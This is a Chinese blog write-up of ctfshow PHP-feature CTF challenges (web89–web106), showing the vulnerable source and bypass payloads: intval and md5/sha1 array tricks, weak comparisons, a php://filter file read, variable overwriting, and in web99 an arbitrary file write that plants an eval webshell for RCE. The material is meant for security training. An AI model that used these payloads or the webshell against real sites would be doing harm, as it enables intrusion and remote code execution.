php特性一些函数的使用
ctfshow web89
打开网页看到题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
先分析一下这个php代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");#包含flag.php这个文件
highlight_file(__FILE__);#高亮显出文件
if(isset($_GET['num'])){#isset 检测变量是否已声明并且其值不为 null; get 传入一个数值
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){#绕过数子1——9
die("no no no!");
}
if(intval($num)){#使num为整数
echo $flag;
}
}
一下两个函数官方的解释
它让我们不要输出数字,还需要让num为数字,但看到intval 我们就需要敏感;intval函数还有这一特点:intval处理一个数组对象时,会返回1;所以这里可以使用数组构造:
?num[]=1 |
从而解出这道题;
web90
先看代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这道题和上道题一样只是把数值换一下,让num=4476,还是利用intval这个函数,因为这个函数只读取整数部分所以只需要构造:
?num=4476a |
从而进行绕过;
web91
之后补充
web92
弱比较
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
构造
?num=4476e2 |
具体看这篇博客
web93
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤了大小写字母(i代表大小写)
可以利用8进制(因为intval默认为10进制)
构造
?num=010574 |
web94
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
相对于上题多了一个strpos
绕过方式在4476加.0
?num=4476.0![]() |
web95
不太理解,随后补充;
web96
打开代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
看到了u如果对于flag.php就不能得到flag,所以将u进行base64编码;使用php协议
?u=php://filter/read=convert.base64-encode/resource=flag.php |
web97
打开代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这里是md5碰撞的强比较
直接用数组绕过
post a[]=1$b[]=2 |
web98
它又是一种题型,看代码
Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
解释一下
$_GET?$_GET=&$_POST:'flag'//如果使用get传参那就用post来代替 |
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//这两行解释一样如果传参的值为flag那么就传入cookie |
如果如果HTTP_FLAG=flag那么就显出flag否则就显出_FILE_ |
这里介绍一下php的三元运算符
a?b:c
如果a正确执行b否则执行c;
回到本题
直接构造
get: ?a=1 post : HTTP_FLAG=flag |
get的值随便同时为了打开post
web99
先看代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
这里相对于上一题多了一个函数 'array_push'和'rand'和'in_array'
这里利用’in_array‘函数的漏洞
它这里没有对第三个进行规定,
定义 : bool in_array ( mixed $needle , array $haystack , [bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。
但是如果省略了第三个参数,则存在着弱类型比较(类似==)
————————————————
版权声明:本文为CSDN博主「YAy17」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44770698/article/details/125720695
file_put_contents函数:将参数2的内容写入到参数1中,这里就存在着任意文件上传的漏洞。
由于每次rand都是从1开始的,因此array数组中存在1的概率是非常大的,之后in_array($_GET['n'],$array),当传入的参数n的值为1.php时,假设array中压入了1。由于省略了第三个参数,存在弱类型比较,所以说1.php在比较的时候会强制转换为1,刚好array中存在着1.满足if条件,执行file_put_contents。
故payload:?n=1.php POST传参为content=<?php eval($_POST[1]);?> (多次尝试,让1压入栈中)
便将一句话木马上传到1.php中,直接RCE。
————————————————
版权声明:本文为CSDN博主「YAy17」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44770698/article/details/125720695
web100,101,102
看上面链接大佬的博客写的挺好
103同102
104
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
多了一个函数
可以的绕过方式
?v2=1 | post ?v1=1 |
?v2[]=1 | post ?v1[]=2 |
105
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
值的覆盖
?suces=flag | post: error=suces |
106
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
sha1的弱比较
直接构造
?v2[]=1 | post v1[]=2 |